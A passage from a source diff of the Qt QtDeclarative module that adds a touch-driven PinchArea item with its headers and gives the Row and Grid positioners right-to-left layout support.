+ d->pinch->setActive(false);
+ }
+ return;
+ }
+ if (d->touchPoints.at(0).state() & Qt::TouchPointPressed
+ || d->touchPoints.at(1).state() & Qt::TouchPointPressed) {
+ d->sceneStartPoint1 = d->touchPoints.at(0).scenePos();
+ d->sceneStartPoint2 = d->touchPoints.at(1).scenePos();
+ d->inPinch = false;
+ d->pinchRejected = false;
+ } else if (!d->pinchRejected){
+ QDeclarativeItem *grabber = scene() ? qobject_cast<QDeclarativeItem*>(scene()->mouseGrabberItem()) : 0;
+ if (grabber == this || !grabber || !grabber->keepMouseGrab()) {
+ const int dragThreshold = QApplication::startDragDistance();
+ QPointF p1 = d->touchPoints.at(0).scenePos();
+ QPointF p2 = d->touchPoints.at(1).scenePos();
+ qreal dx = p1.x() - p2.x();
+ qreal dy = p1.y() - p2.y();
+ qreal dist = sqrt(dx*dx + dy*dy);
+ QPointF sceneCenter = (p1 + p2)/2;
+ qreal angle = QLineF(p1, p2).angle();
+ if (angle > 180)
+ angle -= 360;
+ if (!d->inPinch) {
+ if (qAbs(p1.x()-d->sceneStartPoint1.x()) > dragThreshold
+ || qAbs(p1.y()-d->sceneStartPoint1.y()) > dragThreshold
+ || qAbs(p2.x()-d->sceneStartPoint2.x()) > dragThreshold
+ || qAbs(p2.y()-d->sceneStartPoint2.y()) > dragThreshold) {
+ d->sceneStartCenter = sceneCenter;
+ d->sceneLastCenter = sceneCenter;
+ d->pinchStartCenter = mapFromScene(sceneCenter);
+ d->pinchStartDist = dist;
+ d->pinchStartAngle = angle;
+ d->pinchLastScale = 1.0;
+ d->pinchLastAngle = angle;
+ d->lastPoint1 = d->touchPoints.at(0).pos();
+ d->lastPoint2 = d->touchPoints.at(1).pos();
+ QDeclarativePinchEvent pe(d->pinchStartCenter, 1.0, angle, 0.0);
+ pe.setStartCenter(d->pinchStartCenter);
+ pe.setPreviousCenter(d->pinchStartCenter);
+ pe.setPreviousAngle(d->pinchLastAngle);
+ pe.setPreviousScale(d->pinchLastScale);
+ pe.setStartPoint1(mapFromScene(d->sceneStartPoint1));
+ pe.setStartPoint2(mapFromScene(d->sceneStartPoint2));
+ pe.setPoint1(d->lastPoint1);
+ pe.setPoint2(d->lastPoint2);
+ emit pinchStarted(&pe);
+ if (pe.accepted()) {
+ d->inPinch = true;
+ d->stealMouse = true;
+ QGraphicsScene *s = scene();
+ if (s && s->mouseGrabberItem() != this)
+ grabMouse();
+ setKeepMouseGrab(true);
+ if (d->pinch && d->pinch->target()) {
+ d->pinchStartPos = pinch()->target()->pos();
+ d->pinchStartScale = d->pinch->target()->scale();
+ d->pinchStartRotation = d->pinch->target()->rotation();
+ d->pinch->setActive(true);
+ }
+ } else {
+ d->pinchRejected = true;
+ }
+ }
+ } else if (d->pinchStartDist > 0) {
+ qreal scale = dist / d->pinchStartDist;
+ qreal rotationAngle = d->pinchStartAngle - angle;
+ if (rotationAngle > 180)
+ rotationAngle -= 360;
+ QPointF pinchCenter = mapFromScene(sceneCenter);
+ QDeclarativePinchEvent pe(pinchCenter, scale, angle, rotationAngle);
+ pe.setStartCenter(d->pinchStartCenter);
+ pe.setPreviousCenter(mapFromScene(d->sceneLastCenter));
+ pe.setPreviousAngle(d->pinchLastAngle);
+ pe.setPreviousScale(d->pinchLastScale);
+ pe.setStartPoint1(mapFromScene(d->sceneStartPoint1));
+ pe.setStartPoint2(mapFromScene(d->sceneStartPoint2));
+ pe.setPoint1(d->touchPoints.at(0).pos());
+ pe.setPoint2(d->touchPoints.at(1).pos());
+ d->pinchLastScale = scale;
+ d->sceneLastCenter = sceneCenter;
+ d->pinchLastAngle = angle;
+ d->lastPoint1 = d->touchPoints.at(0).pos();
+ d->lastPoint2 = d->touchPoints.at(1).pos();
+ emit pinchUpdated(&pe);
+ if (d->pinch && d->pinch->target()) {
+ qreal s = d->pinchStartScale * scale;
+ s = qMin(qMax(pinch()->minimumScale(),s), pinch()->maximumScale());
+ pinch()->target()->setScale(s);
+ QPointF pos = sceneCenter - d->sceneStartCenter + d->pinchStartPos;
+ if (pinch()->axis() & QDeclarativePinch::XAxis) {
+ qreal x = pos.x();
+ if (x < pinch()->xmin())
+ x = pinch()->xmin();
+ else if (x > pinch()->xmax())
+ x = pinch()->xmax();
+ pinch()->target()->setX(x);
+ }
+ if (pinch()->axis() & QDeclarativePinch::YAxis) {
+ qreal y = pos.y();
+ if (y < pinch()->ymin())
+ y = pinch()->ymin();
+ else if (y > pinch()->ymax())
+ y = pinch()->ymax();
+ pinch()->target()->setY(y);
+ }
+ if (d->pinchStartRotation >= pinch()->minimumRotation()
+ && d->pinchStartRotation <= pinch()->maximumRotation()) {
+ qreal r = rotationAngle + d->pinchStartRotation;
+ r = qMin(qMax(pinch()->minimumRotation(),r), pinch()->maximumRotation());
+ pinch()->target()->setRotation(r);
+ }
+ }
+ }
+ }
+ }
+}
+
+void QDeclarativePinchArea::mousePressEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativePinchArea);
+ d->stealMouse = false;
+ if (!d->absorb)
+ QDeclarativeItem::mousePressEvent(event);
+ else {
+ setKeepMouseGrab(false);
+ event->setAccepted(true);
+ }
+}
+
+void QDeclarativePinchArea::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativePinchArea);
+ if (!d->absorb) {
+ QDeclarativeItem::mouseMoveEvent(event);
+ return;
+ }
+}
+
+void QDeclarativePinchArea::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativePinchArea);
+ d->stealMouse = false;
+ if (!d->absorb) {
+ QDeclarativeItem::mouseReleaseEvent(event);
+ } else {
+ QGraphicsScene *s = scene();
+ if (s && s->mouseGrabberItem() == this)
+ ungrabMouse();
+ setKeepMouseGrab(false);
+ }
+}
+
+bool QDeclarativePinchArea::sceneEvent(QEvent *event)
+{
+ bool rv = QDeclarativeItem::sceneEvent(event);
+ if (event->type() == QEvent::UngrabMouse) {
+ setKeepMouseGrab(false);
+ }
+ return rv;
+}
+
+bool QDeclarativePinchArea::sendMouseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativePinchArea);
+ QGraphicsSceneMouseEvent mouseEvent(event->type());
+ QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect();
+
+ QGraphicsScene *s = scene();
+ QDeclarativeItem *grabber = s ? qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem()) : 0;
+ bool stealThisEvent = d->stealMouse;
+ if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab())) {
+ mouseEvent.setAccepted(false);
+ for (int i = 0x1; i <= 0x10; i <<= 1) {
+ if (event->buttons() & i) {
+ Qt::MouseButton button = Qt::MouseButton(i);
+ mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button)));
+ }
+ }
+ mouseEvent.setScenePos(event->scenePos());
+ mouseEvent.setLastScenePos(event->lastScenePos());
+ mouseEvent.setPos(mapFromScene(event->scenePos()));
+ mouseEvent.setLastPos(mapFromScene(event->lastScenePos()));
+
+ switch(mouseEvent.type()) {
+ case QEvent::GraphicsSceneMouseMove:
+ mouseMoveEvent(&mouseEvent);
+ break;
+ case QEvent::GraphicsSceneMousePress:
+ mousePressEvent(&mouseEvent);
+ break;
+ case QEvent::GraphicsSceneMouseRelease:
+ mouseReleaseEvent(&mouseEvent);
+ break;
+ default:
+ break;
+ }
+ grabber = qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem());
+ if (grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this)
+ grabMouse();
+
+ return stealThisEvent;
+ }
+ if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) {
+ d->stealMouse = false;
+ if (s && s->mouseGrabberItem() == this)
+ ungrabMouse();
+ setKeepMouseGrab(false);
+ }
+ return false;
+}
+
+bool QDeclarativePinchArea::sceneEventFilter(QGraphicsItem *i, QEvent *e)
+{
+ Q_D(QDeclarativePinchArea);
+ if (!d->absorb || !isVisible())
+ return QDeclarativeItem::sceneEventFilter(i, e);
+ switch (e->type()) {
+ case QEvent::GraphicsSceneMousePress:
+ case QEvent::GraphicsSceneMouseMove:
+ case QEvent::GraphicsSceneMouseRelease:
+ return sendMouseEvent(static_cast<QGraphicsSceneMouseEvent *>(e));
+ break;
+ case QEvent::TouchBegin:
+ case QEvent::TouchUpdate: {
+ QTouchEvent *touch = static_cast<QTouchEvent*>(e);
+ d->touchPoints.clear();
+ for (int i = 0; i < touch->touchPoints().count(); ++i)
+ if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased))
+ d->touchPoints << touch->touchPoints().at(i);
+ updatePinch();
+ }
+ return d->inPinch;
+ case QEvent::TouchEnd:
+ d->touchPoints.clear();
+ updatePinch();
+ break;
+ default:
+ break;
+ }
+
+ return QDeclarativeItem::sceneEventFilter(i, e);
+}
+
+void QDeclarativePinchArea::geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry)
+{
+ QDeclarativeItem::geometryChanged(newGeometry, oldGeometry);
+}
+
+QVariant QDeclarativePinchArea::itemChange(GraphicsItemChange change,
+ const QVariant &value)
+{
+ return QDeclarativeItem::itemChange(change, value);
+}
+
+QDeclarativePinch *QDeclarativePinchArea::pinch()
+{
+ Q_D(QDeclarativePinchArea);
+ if (!d->pinch)
+ d->pinch = new QDeclarativePinch;
+ return d->pinch;
+}
+
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p.h
new file mode 100644
index 0000000..6d04708
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepincharea_p.h
@@ -0,0 +1,308 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPINCHAREA_H
+#define QDECLARATIVEPINCHAREA_H
+
+#include <qdeclarativeitem.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_AUTOTEST_EXPORT QDeclarativePinch : public QObject
+{
+ Q_OBJECT
+
+ Q_ENUMS(Axis)
+ Q_PROPERTY(QGraphicsObject *target READ target WRITE setTarget RESET resetTarget)
+ Q_PROPERTY(qreal minimumScale READ minimumScale WRITE setMinimumScale NOTIFY minimumScaleChanged)
+ Q_PROPERTY(qreal maximumScale READ maximumScale WRITE setMaximumScale NOTIFY maximumScaleChanged)
+ Q_PROPERTY(qreal minimumRotation READ minimumRotation WRITE setMinimumRotation NOTIFY minimumRotationChanged)
+ Q_PROPERTY(qreal maximumRotation READ maximumRotation WRITE setMaximumRotation NOTIFY maximumRotationChanged)
+ Q_PROPERTY(Axis dragAxis READ axis WRITE setAxis NOTIFY dragAxisChanged)
+ Q_PROPERTY(qreal minimumX READ xmin WRITE setXmin NOTIFY minimumXChanged)
+ Q_PROPERTY(qreal maximumX READ xmax WRITE setXmax NOTIFY maximumXChanged)
+ Q_PROPERTY(qreal minimumY READ ymin WRITE setYmin NOTIFY minimumYChanged)
+ Q_PROPERTY(qreal maximumY READ ymax WRITE setYmax NOTIFY maximumYChanged)
+ Q_PROPERTY(bool active READ active NOTIFY activeChanged)
+
+public:
+ QDeclarativePinch();
+
+ QGraphicsObject *target() const { return m_target; }
+ void setTarget(QGraphicsObject *target) {
+ if (target == m_target)
+ return;
+ m_target = target;
+ emit targetChanged();
+ }
+ void resetTarget() {
+ if (!m_target)
+ return;
+ m_target = 0;
+ emit targetChanged();
+ }
+
+ qreal minimumScale() const { return m_minScale; }
+ void setMinimumScale(qreal s) {
+ if (s == m_minScale)
+ return;
+ m_minScale = s;
+ emit minimumScaleChanged();
+ }
+ qreal maximumScale() const { return m_maxScale; }
+ void setMaximumScale(qreal s) {
+ if (s == m_maxScale)
+ return;
+ m_maxScale = s;
+ emit maximumScaleChanged();
+ }
+
+ qreal minimumRotation() const { return m_minRotation; }
+ void setMinimumRotation(qreal r) {
+ if (r == m_minRotation)
+ return;
+ m_minRotation = r;
+ emit minimumRotationChanged();
+ }
+ qreal maximumRotation() const { return m_maxRotation; }
+ void setMaximumRotation(qreal r) {
+ if (r == m_maxRotation)
+ return;
+ m_maxRotation = r;
+ emit maximumRotationChanged();
+ }
+
+ enum Axis { NoDrag=0x00, XAxis=0x01, YAxis=0x02, XandYAxis=0x03 };
+ Axis axis() const { return m_axis; }
+ void setAxis(Axis a) {
+ if (a == m_axis)
+ return;
+ m_axis = a;
+ emit dragAxisChanged();
+ }
+
+ qreal xmin() const { return m_xmin; }
+ void setXmin(qreal x) {
+ if (x == m_xmin)
+ return;
+ m_xmin = x;
+ emit minimumXChanged();
+ }
+ qreal xmax() const { return m_xmax; }
+ void setXmax(qreal x) {
+ if (x == m_xmax)
+ return;
+ m_xmax = x;
+ emit maximumXChanged();
+ }
+ qreal ymin() const { return m_ymin; }
+ void setYmin(qreal y) {
+ if (y == m_ymin)
+ return;
+ m_ymin = y;
+ emit minimumYChanged();
+ }
+ qreal ymax() const { return m_ymax; }
+ void setYmax(qreal y) {
+ if (y == m_ymax)
+ return;
+ m_ymax = y;
+ emit maximumYChanged();
+ }
+
+ bool active() const { return m_active; }
+ void setActive(bool a) {
+ if (a == m_active)
+ return;
+ m_active = a;
+ emit activeChanged();
+ }
+
+signals:
+ void targetChanged();
+ void minimumScaleChanged();
+ void maximumScaleChanged();
+ void minimumRotationChanged();
+ void maximumRotationChanged();
+ void dragAxisChanged();
+ void minimumXChanged();
+ void maximumXChanged();
+ void minimumYChanged();
+ void maximumYChanged();
+ void activeChanged();
+
+private:
+ QGraphicsObject *m_target;
+ qreal m_minScale;
+ qreal m_maxScale;
+ qreal m_minRotation;
+ qreal m_maxRotation;
+ Axis m_axis;
+ qreal m_xmin;
+ qreal m_xmax;
+ qreal m_ymin;
+ qreal m_ymax;
+ bool m_active;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativePinchEvent : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QPointF center READ center)
+ Q_PROPERTY(QPointF startCenter READ startCenter)
+ Q_PROPERTY(QPointF previousCenter READ previousCenter)
+ Q_PROPERTY(qreal scale READ scale)
+ Q_PROPERTY(qreal previousScale READ previousScale)
+ Q_PROPERTY(qreal angle READ angle)
+ Q_PROPERTY(qreal previousAngle READ previousAngle)
+ Q_PROPERTY(qreal rotation READ rotation)
+ Q_PROPERTY(QPointF point1 READ point1)
+ Q_PROPERTY(QPointF startPoint1 READ startPoint1)
+ Q_PROPERTY(QPointF point2 READ point2)
+ Q_PROPERTY(QPointF startPoint2 READ startPoint2)
+ Q_PROPERTY(bool accepted READ accepted WRITE setAccepted)
+
+public:
+ QDeclarativePinchEvent(QPointF c, qreal s, qreal a, qreal r)
+ : QObject(), m_center(c), m_scale(s), m_angle(a), m_rotation(r), m_accepted(true) {}
+
+ QPointF center() const { return m_center; }
+ QPointF startCenter() const { return m_startCenter; }
+ void setStartCenter(QPointF c) { m_startCenter = c; }
+ QPointF previousCenter() const { return m_lastCenter; }
+ void setPreviousCenter(QPointF c) { m_lastCenter = c; }
+ qreal scale() const { return m_scale; }
+ qreal previousScale() const { return m_lastScale; }
+ void setPreviousScale(qreal s) { m_lastScale = s; }
+ qreal angle() const { return m_angle; }
+ qreal previousAngle() const { return m_lastAngle; }
+ void setPreviousAngle(qreal a) { m_lastAngle = a; }
+ qreal rotation() const { return m_rotation; }
+ QPointF point1() const { return m_point1; }
+ void setPoint1(QPointF p) { m_point1 = p; }
+ QPointF startPoint1() const { return m_startPoint1; }
+ void setStartPoint1(QPointF p) { m_startPoint1 = p; }
+ QPointF point2() const { return m_point2; }
+ void setPoint2(QPointF p) { m_point2 = p; }
+ QPointF startPoint2() const { return m_startPoint2; }
+ void setStartPoint2(QPointF p) { m_startPoint2 = p; }
+
+ bool accepted() const { return m_accepted; }
+ void setAccepted(bool a) { m_accepted = a; }
+
+private:
+ QPointF m_center;
+ QPointF m_startCenter;
+ QPointF m_lastCenter;
+ qreal m_scale;
+ qreal m_lastScale;
+ qreal m_angle;
+ qreal m_lastAngle;
+ qreal m_rotation;
+ QPointF m_point1;
+ QPointF m_point2;
+ QPointF m_startPoint1;
+ QPointF m_startPoint2;
+ bool m_accepted;
+};
+
+
+class QDeclarativeMouseEvent;
+class QDeclarativePinchAreaPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativePinchArea : public QDeclarativeItem
+{
+ Q_OBJECT
+
+ Q_PROPERTY(bool enabled READ isEnabled WRITE setEnabled NOTIFY enabledChanged)
+ Q_PROPERTY(QDeclarativePinch *pinch READ pinch CONSTANT)
+
+public:
+ QDeclarativePinchArea(QDeclarativeItem *parent=0);
+ ~QDeclarativePinchArea();
+
+ bool isEnabled() const;
+ void setEnabled(bool);
+
+ QDeclarativePinch *pinch();
+
+Q_SIGNALS:
+ void enabledChanged();
+ void pinchStarted(QDeclarativePinchEvent *pinch);
+ void pinchUpdated(QDeclarativePinchEvent *pinch);
+ void pinchFinished(QDeclarativePinchEvent *pinch);
+
+protected:
+ void mousePressEvent(QGraphicsSceneMouseEvent *event);
+ void mouseReleaseEvent(QGraphicsSceneMouseEvent *event);
+ void mouseMoveEvent(QGraphicsSceneMouseEvent *event);
+ bool sceneEvent(QEvent *);
+ bool sendMouseEvent(QGraphicsSceneMouseEvent *event);
+ bool sceneEventFilter(QGraphicsItem *i, QEvent *e);
+ bool event(QEvent *);
+
+ virtual void geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry);
+ virtual QVariant itemChange(GraphicsItemChange change, const QVariant& value);
+
+private:
+ void updatePinch();
+ void handlePress();
+ void handleRelease();
+
+private:
+ Q_DISABLE_COPY(QDeclarativePinchArea)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativePinchArea)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativePinch)
+QML_DECLARE_TYPE(QDeclarativePinchEvent)
+QML_DECLARE_TYPE(QDeclarativePinchArea)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPINCHAREA_H
diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
new file mode 100644
index 0000000..5641e35
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPINCHAREA_P_H
+#define QDECLARATIVEPINCHAREA_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <qdatetime.h>
+#include <qbasictimer.h>
+#include <qevent.h>
+#include <qgraphicssceneevent.h>
+#include "qdeclarativeitem_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativePinch;
+class QDeclarativePinchAreaPrivate : public QDeclarativeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativePinchArea)
+public:
+ QDeclarativePinchAreaPrivate()
+ : absorb(true), stealMouse(false), inPinch(false)
+ , pinchRejected(false), pinch(0), pinchStartDist(0)
+ {
+ }
+
+ ~QDeclarativePinchAreaPrivate();
+
+ void init()
+ {
+ Q_Q(QDeclarativePinchArea);
+ q->setAcceptedMouseButtons(Qt::LeftButton);
+ q->setAcceptTouchEvents(true);
+ q->setFiltersChildEvents(true);
+ }
+
+ bool absorb : 1;
+ bool stealMouse : 1;
+ bool inPinch : 1;
+ bool pinchRejected : 1;
+ QDeclarativePinch *pinch;
+ QPointF sceneStartPoint1;
+ QPointF sceneStartPoint2;
+ QPointF lastPoint1;
+ QPointF lastPoint2;
+ qreal pinchStartDist;
+ qreal pinchStartScale;
+ qreal pinchLastScale;
+ qreal pinchStartRotation;
+ qreal pinchStartAngle;
+ qreal pinchLastAngle;
+ QPointF sceneStartCenter;
+ QPointF pinchStartCenter;
+ QPointF sceneLastCenter;
+ QPointF pinchStartPos;
+ QList<QTouchEvent::TouchPoint> touchPoints;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEPINCHAREA_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
index 4e049c7..27a1301 100644
--- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp
+++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
@@ -111,14 +111,14 @@ void QDeclarativeBasePositioner::graphicsWidgetGeometryChanged()
Note that the subclass is responsible for adding the spacing in between items.
*/
QDeclarativeBasePositioner::QDeclarativeBasePositioner(PositionerType at, QDeclarativeItem *parent)
- : QDeclarativeItem(*(new QDeclarativeBasePositionerPrivate), parent)
+ : QDeclarativeImplicitSizeItem(*(new QDeclarativeBasePositionerPrivate), parent)
{
Q_D(QDeclarativeBasePositioner);
d->init(at);
}
QDeclarativeBasePositioner::QDeclarativeBasePositioner(QDeclarativeBasePositionerPrivate &dd, PositionerType at, QDeclarativeItem *parent)
- : QDeclarativeItem(dd, parent)
+ : QDeclarativeImplicitSizeItem(dd, parent)
{
Q_D(QDeclarativeBasePositioner);
d->init(at);
@@ -364,9 +364,13 @@ void QDeclarativeBasePositioner::finishApplyTransitions()
\qml
Column {
spacing: 2
- add: ...
- move: ...
- ...
+ add: Transition {
+ // Define an animation for adding a new item...
+ }
+ move: Transition {
+ // Define an animation for moving items within the column...
+ }
+ // ...
}
\endqml
@@ -381,7 +385,7 @@ void QDeclarativeBasePositioner::finishApplyTransitions()
Items with a width or height of 0 will not be positioned.
- \sa Row, Grid, Flow, {declarative/positioners}{Positioners example}
+ \sa Row, Grid, Flow, {declarative/positioners/addandremove}{Positioners example}
*/
/*!
\qmlproperty Transition Column::add
@@ -421,7 +425,7 @@ void QDeclarativeBasePositioner::finishApplyTransitions()
}
\endqml
- \sa add, {declarative/positioners}{Positioners example}
+ \sa add, {declarative/positioners/addandremove}{Positioners example}
*/
/*!
\qmlproperty int Column::spacing
@@ -524,7 +528,7 @@ void QDeclarativeColumn::reportConflictingAnchors()
Items with a width or height of 0 will not be positioned.
- \sa Column, Grid, Flow, {declarative/positioners}{Positioners example}
+ \sa Column, Grid, Flow, {declarative/positioners/addandremove}{Positioners example}
*/
/*!
\qmlproperty Transition Row::add
@@ -563,7 +567,7 @@ void QDeclarativeColumn::reportConflictingAnchors()
}
\endqml
- \sa add, {declarative/positioners}{Positioners example}
+ \sa add, {declarative/positioners/addandremove}{Positioners example}
*/
/*!
\qmlproperty int Row::spacing
@@ -574,21 +578,55 @@ void QDeclarativeColumn::reportConflictingAnchors()
\sa Grid::spacing
*/
QDeclarativeRow::QDeclarativeRow(QDeclarativeItem *parent)
-: QDeclarativeBasePositioner(Horizontal, parent)
+: QDeclarativeBasePositioner(Horizontal, parent), m_layoutDirection(Qt::LeftToRight)
{
}
+/*!
+ \qmlproperty enumeration Row::layoutDirection
+ This property holds the layoutDirection of the row.
+
+ Possible values:
+
+ \list
+ \o Qt.LeftToRight (default) - Items are laid out from left to right. If the width of the row is explicitly set,
+ the left anchor remains to the left of the row.
+ \o Qt.RightToLeft - Items are laid out from right to left. If the width of the row is explicitly set,
+ the right anchor remains to the right of the row.
+ \endlist
+
+ \sa Grid::layoutDirection, Flow::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example}
+*/
+Qt::LayoutDirection QDeclarativeRow::layoutDirection() const
+{
+ return m_layoutDirection;
+}
+
+void QDeclarativeRow::setLayoutDirection(Qt::LayoutDirection layoutDirection)
+{
+ if (m_layoutDirection != layoutDirection) {
+ m_layoutDirection = layoutDirection;
+ prePositioning();
+ emit layoutDirectionChanged();
+ }
+}
+
void QDeclarativeRow::doPositioning(QSizeF *contentSize)
{
int hoffset = 0;
+ QList<int> hoffsets;
for (int ii = 0; ii < positionedItems.count(); ++ii) {
const PositionedItem &child = positionedItems.at(ii);
if (!child.item || !child.isVisible)
continue;
- if(child.item->x() != hoffset)
- positionX(hoffset, child);
+ if(m_layoutDirection == Qt::LeftToRight){
+ if(child.item->x() != hoffset)
+ positionX(hoffset, child);
+ }else{
+ hoffsets << hoffset;
+ }
contentSize->setHeight(qMax(contentSize->height(), QGraphicsItemPrivate::get(child.item)->height()));
@@ -597,6 +635,26 @@ void QDeclarativeRow::doPositioning(QSizeF *contentSize)
}
contentSize->setWidth(hoffset - spacing());
+
+ if(m_layoutDirection == Qt::LeftToRight)
+ return;
+
+ //Right to Left layout
+ int end = 0;
+ if(!widthValid())
+ end = contentSize->width();
+ else
+ end = width();
+
+ int acc = 0;
+ for (int ii = 0; ii < positionedItems.count(); ++ii) {
+ const PositionedItem &child = positionedItems.at(ii);
+ if (!child.item || !child.isVisible)
+ continue;
+ hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width();
+ if(child.item->x() != hoffset)
+ positionX(hoffset, child);
+ }
}
void QDeclarativeRow::reportConflictingAnchors()
@@ -674,7 +732,7 @@ void QDeclarativeRow::reportConflictingAnchors()
Items with a width or height of 0 will not be positioned.
- \sa Flow, Row, Column, {declarative/positioners}{Positioners example}
+ \sa Flow, Row, Column, {declarative/positioners/addandremove}{Positioners example}
*/
/*!
\qmlproperty Transition Grid::add
@@ -712,7 +770,7 @@ void QDeclarativeRow::reportConflictingAnchors()
}
\endqml
- \sa add, {declarative/positioners}{Positioners example}
+ \sa add, {declarative/positioners/addandremove}{Positioners example}
*/
/*!
\qmlproperty int Grid::spacing
@@ -732,7 +790,7 @@ void QDeclarativeRow::reportConflictingAnchors()
\sa rows, columns
*/
QDeclarativeGrid::QDeclarativeGrid(QDeclarativeItem *parent) :
- QDeclarativeBasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_flow(LeftToRight)
+ QDeclarativeBasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_flow(LeftToRight), m_layoutDirection(Qt::LeftToRight)
{
}
@@ -780,7 +838,7 @@ void QDeclarativeGrid::setRows(const int rows)
\list
\o Grid.LeftToRight (default) - Items are positioned next to
- to each other from left to right, then wrapped to the next line.
+ each other in the \l layoutDirection, then wrapped to the next line.
\o Grid.TopToBottom - Items are positioned next to each
other from top to bottom, then wrapped to the next column.
\endlist
@@ -799,6 +857,37 @@ void QDeclarativeGrid::setFlow(Flow flow)
}
}
+/*!
+ \qmlproperty enumeration Grid::layoutDirection
+ This property holds the layout direction of the layout.
+
+ Possible values are:
+
+ \list
+ \o Qt.LeftToRight (default) - Items are positioned beginning
+ from the top, left anchor. The flow direction is dependent
+ on the \l Grid::flow property.
+ \o Qt.RightToLeft - Items are positioned beginning from the
+ top, right anchor. The flow direction is dependent on the
+ \l Grid::flow property.
+ \endlist
+
+ \sa Flow::layoutDirection, Row::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example}
+*/
+Qt::LayoutDirection QDeclarativeGrid::layoutDirection() const
+{
+ return m_layoutDirection;
+}
+
+void QDeclarativeGrid::setLayoutDirection(Qt::LayoutDirection layoutDirection)
+{
+ if (m_layoutDirection != layoutDirection) {
+ m_layoutDirection = layoutDirection;
+ prePositioning();
+ emit layoutDirectionChanged();
+ }
+}
+
void QDeclarativeGrid::doPositioning(QSizeF *contentSize)
{
@@ -821,6 +910,9 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize)
c = (numVisible+(m_rows-1))/m_rows;
}
+ if(r==0 || c==0)
+ return; //Nothing to do
+
QList<int> maxColWidth;
